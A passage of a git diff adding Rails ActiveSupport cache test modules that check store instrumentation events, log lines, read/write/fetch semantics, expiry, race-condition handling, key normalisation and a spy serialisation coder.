+    events = capture_notifications("cache_read_multi.active_support") { @cache.read_multi(key_2, key_1) }
+
+    assert_equal %w[ cache_read_multi.active_support ], events.map(&:name)
+    assert_equal [normalized_key(key_2), normalized_key(key_1)], events[0].payload[:key]
+    assert_equal [normalized_key(key_1)], events[0].payload[:hits]
+    assert_equal @cache.class.name, events[0].payload[:store]
+  end
+
+  def test_read_instrumentation
+    key = SecureRandom.uuid
+    @cache.write(key, SecureRandom.alphanumeric)
+
+    events = capture_notifications("cache_read.active_support") { @cache.read(key) }
+
+    assert_equal %w[ cache_read.active_support ], events.map(&:name)
+    assert_equal normalized_key(key), events[0].payload[:key]
+    assert_same true, events[0].payload[:hit]
+    assert_equal @cache.class.name, events[0].payload[:store]
+  end
+
+  def test_write_instrumentation
+    key = SecureRandom.uuid
+
+    events = capture_notifications("cache_write.active_support") { @cache.write(key, SecureRandom.alphanumeric) }
+
+    assert_equal %w[ cache_write.active_support ], events.map(&:name)
+    assert_equal normalized_key(key), events[0].payload[:key]
+    assert_equal @cache.class.name, events[0].payload[:store]
+  end
+
+  def test_delete_instrumentation
+    key = SecureRandom.uuid
+
+    options = { namespace: "foo" }
+
+    events = capture_notifications("cache_delete.active_support") { @cache.delete(key, options) }
+
+    assert_equal %w[ cache_delete.active_support ], events.map(&:name)
+    assert_equal normalized_key(key, options), events[0].payload[:key]
+    assert_equal @cache.class.name, events[0].payload[:store]
+    assert_equal "foo", events[0].payload[:namespace]
+  end
+
+  def test_delete_multi_instrumentation
+    key_1 = SecureRandom.uuid
+    key_2 = SecureRandom.uuid
+
+    options = { namespace: "foo" }
+
+    events = capture_notifications("cache_delete_multi.active_support") { @cache.delete_multi([key_2, key_1], options) }
+
+    assert_equal %w[ cache_delete_multi.active_support ], events.map(&:name)
+    assert_equal [normalized_key(key_2, options), normalized_key(key_1, options)], events[0].payload[:key]
+    assert_equal @cache.class.name, events[0].payload[:store]
+  end
+
+  def test_increment_instrumentation
+    key_1 = SecureRandom.uuid
+    @cache.write(key_1, 0)
+
+    events = capture_notifications("cache_increment.active_support") { @cache.increment(key_1) }
+
+    assert_equal %w[ cache_increment.active_support ], events.map(&:name)
+    assert_equal normalized_key(key_1), events[0].payload[:key]
+    assert_equal @cache.class.name, events[0].payload[:store]
+  end
+
+
+  def test_decrement_instrumentation
+    key_1 = SecureRandom.uuid
+    @cache.write(key_1, 0)
+
+    events = capture_notifications("cache_decrement.active_support") { @cache.decrement(key_1) }
+
+    assert_equal %w[ cache_decrement.active_support ], events.map(&:name)
+    assert_equal normalized_key(key_1), events[0].payload[:key]
+    assert_equal @cache.class.name, events[0].payload[:store]
+  end
+
+  private
+    def normalized_key(key, options = nil)
+      @cache.send(:normalize_key, key, options)
+    end
+end
diff --git a/activesupport/test/cache/behaviors/cache_logging_behavior.rb b/activesupport/test/cache/behaviors/cache_logging_behavior.rb
new file mode 100644
index 0000000000000..3333bbdbe41fc
--- /dev/null
+++ b/activesupport/test/cache/behaviors/cache_logging_behavior.rb
@@ -0,0 +1,83 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/object/with"
+
+module CacheLoggingBehavior
+  def test_fetch_logging
+    assert_logs(/Cache read: #{key_pattern("foo")}/) do
+      @cache.fetch("foo")
+    end
+
+    assert_logs(/Cache read: #{key_pattern("foo", namespace: "bar")}/) do
+      @cache.fetch("foo", namespace: "bar")
+    end
+  end
+
+  def test_read_logging
+    assert_logs(/Cache read: #{key_pattern("foo")}/) do
+      @cache.read("foo")
+    end
+
+    assert_logs(/Cache read: #{key_pattern("foo", namespace: "bar")}/) do
+      @cache.read("foo", namespace: "bar")
+    end
+  end
+
+  def test_write_logging
+    assert_logs(/Cache write: #{key_pattern("foo")}/) do
+      @cache.write("foo", "qux")
+    end
+
+    assert_logs(/Cache write: #{key_pattern("foo", namespace: "bar")}/) do
+      @cache.write("foo", "qux", namespace: "bar")
+    end
+  end
+
+  def test_delete_logging
+    assert_logs(/Cache delete: #{key_pattern("foo")}/) do
+      @cache.delete("foo")
+    end
+
+    assert_logs(/Cache delete: #{key_pattern("foo", namespace: "bar")}/) do
+      @cache.delete("foo", namespace: "bar")
+    end
+  end
+
+  def test_exist_logging
+    assert_logs(/Cache exist\?: #{key_pattern("foo")}/) do
+      @cache.exist?("foo")
+    end
+
+    assert_logs(/Cache exist\?: #{key_pattern("foo", namespace: "bar")}/) do
+      @cache.exist?("foo", namespace: "bar")
+    end
+  end
+
+  def test_read_multi_logging
+    assert_logs("Cache read_multi: 1 key(s)") { @cache.read_multi("foo") }
+    assert_logs("Cache read_multi: 2 key(s)") { @cache.read_multi("foo", "bar") }
+  end
+
+  def test_write_multi_logging
+    key = SecureRandom.uuid
+    assert_logs("Cache write_multi: 1 key(s)") { @cache.write_multi("#{key}1" => 1) }
+    assert_logs("Cache write_multi: 2 key(s)") { @cache.write_multi("#{key}1" => 1, "#{key}2" => 2) }
+  end
+
+  def test_delete_multi_logging
+    key = SecureRandom.uuid
+    assert_logs("Cache delete_multi: 1 key(s)") { @cache.delete_multi(["#{key}1"]) }
+    assert_logs("Cache delete_multi: 2 key(s)") { @cache.delete_multi(["#{key}1", "#{key}2"]) }
+  end
+
+  private
+    def assert_logs(pattern, &block)
+      io = StringIO.new
+      ActiveSupport::Cache::Store.with(logger: Logger.new(io, level: :debug), &block)
+      assert_match pattern, io.string
+    end
+
+    def key_pattern(key, namespace: @namespace)
+      /#{Regexp.escape namespace.to_s}#{":" if namespace}#{Regexp.escape key}/
+    end
+end
diff --git a/activesupport/test/cache/behaviors/cache_store_behavior.rb b/activesupport/test/cache/behaviors/cache_store_behavior.rb
new file mode 100644
index 0000000000000..4b81c8256204b
--- /dev/null
+++ b/activesupport/test/cache/behaviors/cache_store_behavior.rb
@@ -0,0 +1,786 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/numeric/time"
+require "active_support/error_reporter/test_helper"
+
+# Tests the base functionality that should be identical across all cache stores.
+module CacheStoreBehavior
+  def test_should_read_and_write_strings
+    key = SecureRandom.uuid
+    assert_equal true, @cache.write(key, "bar")
+    assert_equal "bar", @cache.read(key)
+  end
+
+  def test_should_overwrite
+    key = SecureRandom.uuid
+    assert_equal true, @cache.write(key, "bar")
+    assert_equal true, @cache.write(key, "baz")
+    assert_equal "baz", @cache.read(key)
+  end
+
+  def test_fetch_without_cache_miss
+    key = SecureRandom.uuid
+    @cache.write(key, "bar")
+    assert_not_called(@cache, :write) do
+      assert_equal "bar", @cache.fetch(key) { "baz" }
+    end
+  end
+
+  def test_fetch_with_cache_miss
+    key = SecureRandom.uuid
+    assert_called_with(@cache, :write, [key, "baz", @cache.options]) do
+      assert_equal "baz", @cache.fetch(key) { "baz" }
+    end
+  end
+
+  def test_fetch_with_cache_miss_passes_key_to_block
+    cache_miss = false
+    key = SecureRandom.alphanumeric(10)
+    assert_equal 10, @cache.fetch(key) { |key| cache_miss = true; key.length }
+    assert cache_miss
+
+    cache_miss = false
+    assert_equal 10, @cache.fetch(key) { |fetch_key| cache_miss = true; fetch_key.length }
+    assert_not cache_miss
+  end
+
+  def test_fetch_with_dynamic_options
+    key = SecureRandom.uuid
+    expiry = 10.minutes.from_now
+    expected_options = @cache.options.dup
+    expected_options.delete(:expires_in)
+    expected_options.merge!(
+      expires_at: expiry,
+      version: "v42",
+    )
+
+    assert_called_with(@cache, :write, [key, "bar", expected_options]) do
+      @cache.fetch(key) do |key, options|
+        assert_equal @cache.options[:expires_in], options.expires_in
+        assert_nil options.expires_at
+        assert_nil options.version
+
+        options.expires_at = expiry
+        options.version = "v42"
+
+        assert_nil options.expires_in
+        assert_equal expiry, options.expires_at
+        assert_equal "v42", options.version
+
+        "bar"
+      end
+    end
+  end
+
+  def test_fetch_with_forced_cache_miss
+    key = SecureRandom.uuid
+    @cache.write(key, "bar")
+    assert_not_called(@cache, :read) do
+      assert_called_with(@cache, :write, [key, "bar", @cache.options.merge(force: true)]) do
+        @cache.fetch(key, force: true) { "bar" }
+      end
+    end
+  end
+
+  def test_fetch_with_cached_nil
+    key = SecureRandom.uuid
+    @cache.write(key, nil)
+    assert_not_called(@cache, :write) do
+      assert_nil @cache.fetch(key) { "baz" }
+    end
+  end
+
+  def test_fetch_cache_miss_with_skip_nil
+    key = SecureRandom.uuid
+    assert_not_called(@cache, :write) do
+      assert_nil @cache.fetch(key, skip_nil: true) { nil }
+      assert_equal false, @cache.exist?("foo")
+    end
+  end
+
+  def test_fetch_with_forced_cache_miss_with_block
+    key = SecureRandom.uuid
+    @cache.write(key, "bar")
+    assert_equal "foo_bar", @cache.fetch(key, force: true) { "foo_bar" }
+  end
+
+  def test_fetch_with_forced_cache_miss_without_block
+    key = SecureRandom.uuid
+    @cache.write(key, "bar")
+    assert_raises(ArgumentError) do
+      @cache.fetch(key, force: true)
+    end
+
+    assert_equal "bar", @cache.read(key)
+  end
+
+  def test_should_read_and_write_hash
+    key = SecureRandom.uuid
+    assert_equal true, @cache.write(key, a: "b")
+    assert_equal({ a: "b" }, @cache.read(key))
+  end
+
+  def test_should_read_and_write_integer
+    key = SecureRandom.uuid
+    assert_equal true, @cache.write(key, 1)
+    assert_equal 1, @cache.read(key)
+  end
+
+  def test_should_read_and_write_nil
+    key = SecureRandom.uuid
+    assert_equal true, @cache.write(key, nil)
+    assert_nil @cache.read(key)
+  end
+
+  def test_should_read_and_write_false
+    key = SecureRandom.uuid
+    assert_equal true, @cache.write(key, false)
+    assert_equal false, @cache.read(key)
+  end
+
+  def test_read_multi
+    key = SecureRandom.uuid
+    @cache.write(key, "bar")
+    other_key = SecureRandom.uuid
+    @cache.write(other_key, "baz")
+    @cache.write(SecureRandom.alphanumeric, "biz")
+    assert_equal({ key => "bar", other_key => "baz" }, @cache.read_multi(key, other_key))
+  end
+
+  def test_read_multi_empty_list
+    assert_equal({}, @cache.read_multi())
+  end
+
+  def test_read_multi_with_expires
+    time = Time.now
+    key = SecureRandom.uuid
+    other_key = SecureRandom.uuid
+    @cache.write(key, "bar", expires_in: 10)
+    @cache.write(other_key, "baz")
+    @cache.write(SecureRandom.alphanumeric, "biz")
+    Time.stub(:now, time + 11) do
+      assert_equal({ other_key => "baz" }, @cache.read_multi(other_key, SecureRandom.alphanumeric))
+    end
+  end
+
+  def test_write_multi
+    key = SecureRandom.uuid
+    @cache.write_multi("#{key}1" => 1, "#{key}2" => 2)
+    assert_equal 1, @cache.read("#{key}1")
+    assert_equal 2, @cache.read("#{key}2")
+  end
+
+  def test_write_multi_empty_hash
+    assert @cache.write_multi({})
+  end
+
+  def test_write_multi_expires_in
+    key = SecureRandom.uuid
+    @cache.write_multi({ key => 1 }, expires_in: 10)
+
+    travel(11.seconds) do
+      assert_nil @cache.read(key)
+    end
+  end
+
+  def test_fetch_multi
+    key = SecureRandom.uuid
+    other_key = SecureRandom.uuid
+    third_key = SecureRandom.alphanumeric
+    @cache.write(key, "bar")
+    @cache.write(other_key, "biz")
+
+    values = @cache.fetch_multi(key, other_key, third_key) { |value| value * 2 }
+
+    assert_equal({ key => "bar", other_key => "biz", third_key => (third_key * 2) }, values)
+    assert_equal((third_key * 2), @cache.read(third_key))
+  end
+
+  def test_fetch_multi_empty_hash
+    assert_equal({}, @cache.fetch_multi() { raise "Not called" })
+  end
+
+  def test_fetch_multi_without_expires_in
+    key = SecureRandom.uuid
+    other_key = SecureRandom.uuid
+    third_key = SecureRandom.alphanumeric
+    @cache.write(key, "bar")
+    @cache.write(other_key, "biz")
+
+    values = @cache.fetch_multi(key, third_key, other_key, expires_in: nil) { |value| value * 2 }
+
+    assert_equal({ key => "bar", third_key => (third_key * 2), other_key => "biz" }, values)
+    assert_equal((third_key * 2), @cache.read(third_key))
+  end
+
+  def test_fetch_multi_with_objects
+    key = SecureRandom.uuid
+    other_key = SecureRandom.uuid
+    cache_struct = Struct.new(:cache_key, :title)
+    foo = cache_struct.new(key, "FOO!")
+    bar = cache_struct.new(other_key)
+
+    @cache.write(other_key, "BAM!")
+
+    values = @cache.fetch_multi(foo, bar) { |object| object.title }
+
+    assert_equal({ foo => "FOO!", bar => "BAM!" }, values)
+  end
+
+  def test_fetch_multi_returns_ordered_names
+    key = SecureRandom.alphanumeric.downcase
+    other_key = SecureRandom.alphanumeric.downcase
+    third_key = SecureRandom.alphanumeric.downcase
+    @cache.write(key, "BAM")
+
+    values = @cache.fetch_multi(other_key, third_key, key) { |key| key.upcase }
+
+    assert_equal([other_key, third_key, key], values.keys)
+    assert_equal([other_key.upcase, third_key.upcase, "BAM"], values.values)
+  end
+
+  def test_fetch_multi_without_block
+    assert_raises(ArgumentError) do
+      @cache.fetch_multi(SecureRandom.alphanumeric)
+    end
+  end
+
+  def test_fetch_multi_with_forced_cache_miss
+    key = SecureRandom.uuid
+    other_key = SecureRandom.uuid
+    @cache.write(key, "bar")
+
+    values = @cache.fetch_multi(key, other_key, force: true) { |value| value * 2 }
+
+    assert_equal({ key => (key * 2), other_key => (other_key * 2) }, values)
+    assert_equal(key * 2, @cache.read(key))
+    assert_equal(other_key * 2, @cache.read(other_key))
+  end
+
+  def test_fetch_multi_with_skip_nil
+    key = SecureRandom.uuid
+    other_key = SecureRandom.uuid
+
+    values = @cache.fetch_multi(key, other_key, skip_nil: true) { |k| k == key ? k : nil }
+
+    assert_equal({ key => key, other_key => nil }, values)
+    assert_equal(false, @cache.exist?(other_key))
+  end
+
+  def test_fetch_multi_uses_write_multi_entries_store_provider_interface
+    assert_called(@cache, :write_multi_entries) do
+      @cache.fetch_multi "a", "b", "c" do |key|
+        key * 2
+      end
+    end
+  end
+
+  def test_cache_key
+    key = SecureRandom.uuid
+    klass = Class.new do
+      def initialize(key)
+        @key = key
+      end
+      def cache_key
+        @key
+      end
+    end
+    @cache.write(klass.new(key), "bar")
+    assert_equal "bar", @cache.read(key)
+  end
+
+  def test_param_as_cache_key
+    key = SecureRandom.uuid
+    klass = Class.new do
+      def initialize(key)
+        @key = key
+      end
+      def to_param
+        @key
+      end
+    end
+    @cache.write(klass.new(key), "bar")
+    assert_equal "bar", @cache.read(key)
+  end
+
+  def test_unversioned_cache_key
+    key = SecureRandom.uuid
+    klass = Class.new do
+      def initialize(key)
+        @key = key
+      end
+      def cache_key
+        @key
+      end
+      def cache_key_with_version
+        "#{@key}-v1"
+      end
+    end
+    @cache.write(klass.new(key), "bar")
+    assert_equal "bar", @cache.read(key)
+  end
+
+  def test_array_as_cache_key
+    key = SecureRandom.uuid
+    @cache.write([key, "foo"], "bar")
+    assert_equal "bar", @cache.read("#{key}/foo")
+  end
+
+  InstanceTest = Struct.new(:name, :id) do
+    def cache_key
+      "#{name}/#{id}"
+    end
+
+    def to_param
+      "hello"
+    end
+  end
+
+  def test_array_with_single_instance_as_cache_key_uses_cache_key_method
+    key = SecureRandom.alphanumeric
+    other_key = SecureRandom.alphanumeric
+    test_instance_one = InstanceTest.new(key, 1)
+    test_instance_two = InstanceTest.new(other_key, 2)
+
+    @cache.write([test_instance_one], "one")
+    @cache.write([test_instance_two], "two")
+
+    assert_equal "one", @cache.read([test_instance_one])
+    assert_equal "two", @cache.read([test_instance_two])
+  end
+
+  def test_array_with_multiple_instances_as_cache_key_uses_cache_key_method
+    key = SecureRandom.alphanumeric
+    other_key = SecureRandom.alphanumeric
+    third_key = SecureRandom.alphanumeric
+    test_instance_one = InstanceTest.new(key, 1)
+    test_instance_two = InstanceTest.new(other_key, 2)
+    test_instance_three = InstanceTest.new(third_key, 3)
+
+    @cache.write([test_instance_one, test_instance_three], "one")
+    @cache.write([test_instance_two, test_instance_three], "two")
+
+    assert_equal "one", @cache.read([test_instance_one, test_instance_three])
+    assert_equal "two", @cache.read([test_instance_two, test_instance_three])
+  end
+
+  def test_format_of_expanded_key_for_single_instance
+    key = SecureRandom.alphanumeric
+    test_instance_one = InstanceTest.new(key, 1)
+
+    expanded_key = @cache.send(:expanded_key, test_instance_one)
+
+    assert_equal expanded_key, test_instance_one.cache_key
+  end
+
+  def test_format_of_expanded_key_for_single_instance_in_array
+    key = SecureRandom.alphanumeric
+    test_instance_one = InstanceTest.new(key, 1)
+
+    expanded_key = @cache.send(:expanded_key, [test_instance_one])
+
+    assert_equal expanded_key, test_instance_one.cache_key
+  end
+
+  def test_hash_as_cache_key
+    key = SecureRandom.alphanumeric
+    other_key = SecureRandom.alphanumeric
+    @cache.write({ key => 1, other_key => 2 }, "bar")
+    assert_equal "bar", @cache.read({ key => 1, other_key => 2 })
+  end
+
+  def test_keys_are_case_sensitive
+    key = "case_sensitive_key"
+    @cache.write(key, "bar")
+    assert_nil @cache.read(key.upcase)
+  end
+
+  def test_blank_key
+    invalid_keys = [nil, "", [], {}]
+    invalid_keys.each do |key|
+      assert_raises(ArgumentError) { @cache.write(key, "bar") }
+      assert_raises(ArgumentError) { @cache.read(key) }
+      assert_raises(ArgumentError) { @cache.delete(key) }
+    end
+
+    valid_keys = ["foo", ["bar"], { foo: "bar" }, 0, 1, InstanceTest.new("foo", 2)]
+    valid_keys.each do |key|
+      assert_nothing_raised { @cache.write(key, "bar") }
+      assert_nothing_raised { @cache.read(key) }
+      assert_nothing_raised { @cache.delete(key) }
+    end
+  end
+
+  def test_exist
+    key = SecureRandom.alphanumeric
+    @cache.write(key, "bar")
+    assert_equal true, @cache.exist?(key)
+    assert_equal false, @cache.exist?(SecureRandom.uuid)
+  end
+
+  def test_nil_exist
+    key = SecureRandom.alphanumeric
+    @cache.write(key, nil)
+    assert @cache.exist?(key)
+  end
+
+  def test_delete
+    key = SecureRandom.alphanumeric
+    @cache.write(key, "bar")
+    assert @cache.exist?(key)
+    assert_same true, @cache.delete(key)
+    assert_not @cache.exist?(key)
+  end
+
+  def test_delete_returns_false_if_not_exist
+    key = SecureRandom.alphanumeric
+    assert_same false, @cache.delete(key)
+  end
+
+  def test_delete_multi
+    key = SecureRandom.alphanumeric
+    @cache.write(key, "bar")
+    assert @cache.exist?(key)
+    other_key = SecureRandom.alphanumeric
+    @cache.write(other_key, "world")
+    assert @cache.exist?(other_key)
+    assert_equal 2, @cache.delete_multi([key, SecureRandom.uuid, other_key])
+    assert_not @cache.exist?(key)
+    assert_not @cache.exist?(other_key)
+  end
+
+  def test_delete_multi_empty_list
+    assert_equal(0, @cache.delete_multi([]))
+  end
+
+  def test_original_store_objects_should_not_be_immutable
+    bar = +"bar"
+    key = SecureRandom.alphanumeric
+    @cache.write(key, bar)
+    assert_nothing_raised { bar.gsub!(/.*/, "baz") }
+  end
+
+  def test_expires_in
+    time = Time.local(2008, 4, 24)
+
+    key = SecureRandom.alphanumeric
+    other_key = SecureRandom.alphanumeric
+
+    Time.stub(:now, time) do
+      @cache.write(key, "bar", expires_in: 1.minute)
+      @cache.write(other_key, "spam", expires_in: 2.minute)
+      assert_equal "bar", @cache.read(key)
+      assert_equal "spam", @cache.read(other_key)
+    end
+
+    Time.stub(:now, time + 30) do
+      assert_equal "bar", @cache.read(key)
+      assert_equal "spam", @cache.read(other_key)
+    end
+
+    Time.stub(:now, time + 1.minute + 1.second) do
+      assert_nil @cache.read(key)
+      assert_equal "spam", @cache.read(other_key)
+    end
+
+    Time.stub(:now, time + 2.minute + 1.second) do
+      assert_nil @cache.read(key)
+      assert_nil @cache.read(other_key)
+    end
+  end
+
+  def test_expires_at
+    time = Time.local(2008, 4, 24)
+
+    key = SecureRandom.alphanumeric
+    Time.stub(:now, time) do
+      @cache.write(key, "bar", expires_at: time + 15.seconds)
+      assert_equal "bar", @cache.read(key)
+    end
+
+    Time.stub(:now, time + 10) do
+      assert_equal "bar", @cache.read(key)
+    end
+
+    Time.stub(:now, time + 30) do
+      assert_nil @cache.read(key)
+    end
+  end
+
+  def test_expire_in_is_alias_for_expires_in
+    time = Time.local(2008, 4, 24)
+
+    key = SecureRandom.alphanumeric
+    Time.stub(:now, time) do
+      @cache.write(key, "bar", expire_in: 20)
+      assert_equal "bar", @cache.read(key)
+    end
+
+    Time.stub(:now, time + 10) do
+      assert_equal "bar", @cache.read(key)
+    end
+
+    Time.stub(:now, time + 21) do
+      assert_nil @cache.read(key)
+    end
+  end
+
+  def test_expired_in_is_alias_for_expires_in
+    time = Time.local(2008, 4, 24)
+
+    key = SecureRandom.alphanumeric
+    Time.stub(:now, time) do
+      @cache.write(key, "bar", expired_in: 20)
+      assert_equal "bar", @cache.read(key)
+    end
+
+    Time.stub(:now, time + 10) do
+      assert_equal "bar", @cache.read(key)
+    end
+
+    Time.stub(:now, time + 21) do
+      assert_nil @cache.read(key)
+    end
+  end
+
+  def test_expires_in_and_expires_at
+    key = SecureRandom.uuid
+    error = assert_raises(ArgumentError) do
+      @cache.write(key, "bar", expire_in: 60, expires_at: 1.minute.from_now)
+    end
+    assert_equal "Either :expires_in or :expires_at can be supplied, but not both", error.message
+  end
+
+  def test_invalid_expiration_time_raises_an_error_when_raise_on_invalid_cache_expiration_time_is_true
+    with_raise_on_invalid_cache_expiration_time(true) do
+      key = SecureRandom.uuid
+      error = assert_raises(ArgumentError) do
+        @cache.write(key, "bar", expires_in: -60)
+      end
+      assert_equal "Cache expiration time is invalid, cannot be negative: -60", error.message
+      assert_nil @cache.read(key)
+    end
+  end
+
+  def test_invalid_expiration_time_reports_and_logs_when_raise_on_invalid_cache_expiration_time_is_false
+    with_raise_on_invalid_cache_expiration_time(false) do
+      error_message = "Cache expiration time is invalid, cannot be negative: -60"
+      report = assert_error_reported(ArgumentError) do
+        logs = capture_logs do
+          key = SecureRandom.uuid
+          @cache.write(key, "bar", expires_in: -60)
+          assert_equal "bar", @cache.read(key)
+        end
+        assert_includes logs, "ArgumentError: #{error_message}"
+      end
+      assert_includes report.error.message, error_message
+    end
+  end
+
+  def test_expires_in_from_now_raises_an_error
+    time = 1.minute.from_now
+
+    key = SecureRandom.uuid
+    error = assert_raises(ArgumentError) do
+      @cache.write(key, "bar", expires_in: time)
+    end
+    assert_equal "expires_in parameter should not be a Time. Did you mean to use expires_at? Got: #{time}", error.message
+    assert_nil @cache.read(key)
+  end
+
+  def test_race_condition_protection_skipped_if_not_defined
+    key = SecureRandom.alphanumeric
+    @cache.write(key, "bar")
+    time = @cache.send(:read_entry, @cache.send(:normalize_key, key, {}), **{}).expires_at
+
+    Time.stub(:now, Time.at(time)) do
+      result = @cache.fetch(key) do
+        assert_nil @cache.read(key)
+        "baz"
+      end
+      assert_equal "baz", result
+    end
+  end
+
+  def test_race_condition_protection_is_limited
+    time = Time.now
+    key = SecureRandom.uuid
+    @cache.write(key, "bar", expires_in: 60)
+    Time.stub(:now, time + 71) do
+      result = @cache.fetch(key, race_condition_ttl: 10) do
+        assert_nil @cache.read(key)
+        "baz"
+      end
+      assert_equal "baz", result
+    end
+  end
+
+  def test_race_condition_protection_is_safe
+    time = Time.now
+    key = SecureRandom.uuid
+    @cache.write(key, "bar", expires_in: 60)
+    Time.stub(:now, time + 61) do
+      begin
+        @cache.fetch(key, race_condition_ttl: 10) do
+          assert_equal "bar", @cache.read(key)
+          raise ArgumentError.new
+        end
+      rescue ArgumentError
+      end
+      assert_equal "bar", @cache.read(key)
+    end
+    Time.stub(:now, time + 91) do
+      assert_nil @cache.read(key)
+    end
+  end
+
+  def test_race_condition_protection
+    time = Time.now
+    key = SecureRandom.uuid
+    @cache.write(key, "bar", expires_in: 60)
+    Time.stub(:now, time + 61) do
+      result = @cache.fetch(key, race_condition_ttl: 10) do
+        assert_equal "bar", @cache.read(key)
+        "baz"
+      end
+      assert_equal "baz", result
+    end
+  end
+
+  def test_fetch_race_condition_protection
+    time = Time.now
+    key = SecureRandom.uuid
+    value = SecureRandom.uuid
+    expires_in = 60
+
+    @cache.write(key, value, expires_in:)
+    Time.stub(:now, time + expires_in + 1) do
+      fetched_value = @cache.fetch(key, expires_in:, race_condition_ttl: 10) do
+        SecureRandom.uuid
+      end
+      assert_not_equal fetched_value, value
+      assert_not_nil fetched_value
+    end
+
+    Time.stub(:now, time + 2 * expires_in) do
+      assert_not_nil @cache.read(key)
+    end
+  end
+
+  def test_fetch_multi_race_condition_protection
+    time = Time.now
+    key = SecureRandom.uuid
+    other_key = SecureRandom.uuid
+    @cache.write(key, "foo", expires_in: 60)
+    @cache.write(other_key, "bar", expires_in: 100)
+    Time.stub(:now, time + 71) do
+      result = @cache.fetch_multi(key, other_key, race_condition_ttl: 10) do
+        assert_nil @cache.read(key)
+        assert_equal "bar", @cache.read(other_key)
+        "baz"
+      end
+      assert_equal({ key => "baz", other_key => "bar" }, result)
+    end
+  end
+
+  def test_absurd_key_characters
+    absurd_key = "#/:*(<+=> )&$%@?;'\"\'`~-"
+    assert @cache.write(absurd_key, "1", raw: true)
+    assert_equal "1", @cache.read(absurd_key, raw: true)
+    assert_equal "1", @cache.fetch(absurd_key, raw: true)
+    assert @cache.delete(absurd_key)
+    assert_equal "2", @cache.fetch(absurd_key, raw: true) { "2" }
+    assert_equal 3, @cache.increment(absurd_key)
+    assert_equal 2, @cache.decrement(absurd_key)
+  end
+
+  def test_really_long_keys
+    key = SecureRandom.alphanumeric * 2048
+    assert @cache.write(key, "bar")
+    assert_equal "bar", @cache.read(key)
+    assert_equal "bar", @cache.fetch(key)
+    assert_nil @cache.read("#{key}x")
+    assert_equal({ key => "bar" }, @cache.read_multi(key))
+  end
+
+  def test_cache_hit_instrumentation
+    key = "test_key"
+    @events = []
+    ActiveSupport::Notifications.subscribe("cache_read.active_support") { |event| @events << event }
+    assert @cache.write(key, "1", raw: true)
+    assert @cache.fetch(key, raw: true) { }
+    assert_equal 1, @events.length
+    assert_equal "cache_read.active_support", @events[0].name
+    assert_equal :fetch, @events[0].payload[:super_operation]
+    assert @events[0].payload[:hit]
+  ensure
+    ActiveSupport::Notifications.unsubscribe "cache_read.active_support"
+  end
+
+  def test_cache_miss_instrumentation
+    @events = []
+    ActiveSupport::Notifications.subscribe(/^cache_(.*)\.active_support$/) { |event| @events << event }
+    assert_not @cache.fetch(SecureRandom.uuid) { }
+    assert_equal 3, @events.length
+    assert_equal "cache_read.active_support", @events[0].name
+    assert_equal "cache_generate.active_support", @events[1].name
+    assert_equal "cache_write.active_support", @events[2].name
+    assert_equal :fetch, @events[0].payload[:super_operation]
+    assert_not @events[0].payload[:hit]
+  ensure
+    ActiveSupport::Notifications.unsubscribe "cache_read.active_support"
+  end
+
+  def test_setting_options_in_fetch_block_does_not_change_cache_options
+    key = SecureRandom.uuid
+
+    assert_no_changes -> { @cache.options.dup } do
+      @cache.fetch(key) do |_key, options|
+        options.expires_in = 5.minutes
+        "bar"
+      end
+    end
+  end
+
+  def test_configuring_store_with_raw
+    cache = lookup_store(raw: true)
+    cache.write("foo", "bar")
+    assert_equal "bar", cache.read("foo")
+  end
+
+  def test_max_key_size
+    cache = lookup_store(max_key_size: 64)
+    key = "foobar" * 20
+    cache.write(key, "bar")
+    assert_equal "bar", cache.read(key)
+  end
+
+  def test_max_key_size_disabled
+    cache = lookup_store(max_key_size: false)
+    key = "a" * 1000
+    cache.write(key, "bar")
+    assert_equal "bar", cache.read(key)
+  end
+
+  private
+    def with_raise_on_invalid_cache_expiration_time(new_value, &block)
+      old_value = ActiveSupport::Cache::Store.raise_on_invalid_cache_expiration_time
+      ActiveSupport::Cache::Store.raise_on_invalid_cache_expiration_time = new_value
+
+      yield
+    ensure
+      ActiveSupport::Cache::Store.raise_on_invalid_cache_expiration_time = old_value
+    end
+
+    def capture_logs(&block)
+      old_logger = ActiveSupport::Cache::Store.logger
+      log = StringIO.new
+      ActiveSupport::Cache::Store.logger = ActiveSupport::Logger.new(log)
+      begin
+        yield
+        log.string
+      ensure
+        ActiveSupport::Cache::Store.logger = old_logger
+      end
+    end
+end
diff --git a/activesupport/test/cache/behaviors/cache_store_coder_behavior.rb b/activesupport/test/cache/behaviors/cache_store_coder_behavior.rb
new file mode 100644
index 0000000000000..461d86832d582
--- /dev/null
+++ b/activesupport/test/cache/behaviors/cache_store_coder_behavior.rb
@@ -0,0 +1,120 @@
+# frozen_string_literal: true
+
+module CacheStoreCoderBehavior
+  class SpyCoder
+    attr_reader :dumped_entries, :loaded_entries, :dump_compressed_entries
+
+    def initialize
+      @dumped_entries = []
+      @loaded_entries = []
+      @dump_compressed_entries = []
+    end
+
+    def dump(entry)
+      @dumped_entries << entry
+      Marshal.dump(entry)
+    end
+
+    def load(payload)
+      entry = Marshal.load(payload)
+      @loaded_entries << entry
+      entry
+    end
+
+    def dump_compressed(entry, threshold)
+      if threshold == 0
+        @dump_compressed_entries << entry
+        Marshal.dump(entry)
+      else
+        dump(entry)
+      end
+    end
+  end
+
+  def test_coder_receive_the_entry_on_write
+    coder = SpyCoder.new
+    @store = lookup_store(coder: coder)
+    @store.write("foo", "bar")
+    assert_equal 1, coder.dumped_entries.size
+    entry = coder.dumped_entries.first
+    assert_instance_of ActiveSupport::Cache::Entry, entry
+    assert_equal "bar", entry.value
+  end
+
+  def test_coder_receive_the_entry_on_read
+    coder = SpyCoder.new
+    @store = lookup_store(coder: coder)
+    @store.write("foo", "bar")
+    @store.read("foo")
+    assert_equal 1, coder.loaded_entries.size
+    entry = coder.loaded_entries.first
+    assert_instance_of ActiveSupport::Cache::Entry, entry
+    assert_equal "bar", entry.value
+  end
+
+  def test_coder_receive_the_entry_on_read_multi
+    coder = SpyCoder.new
+    @store = lookup_store(coder: coder)
+    @store.write_multi({ "foo" => "bar", "egg" => "spam" })
+    @store.read_multi("foo", "egg")
+    assert_equal 2, coder.loaded_entries.size
+    entry = coder.loaded_entries.first
+    assert_instance_of ActiveSupport::Cache::Entry, entry
+    assert_equal "bar", entry.value
+
+    entry = coder.loaded_entries[1]
+    assert_instance_of ActiveSupport::Cache::Entry, entry
+    assert_equal "spam", entry.value
+  end
+
+  def test_coder_receive_the_entry_on_write_multi
+    coder = SpyCoder.new
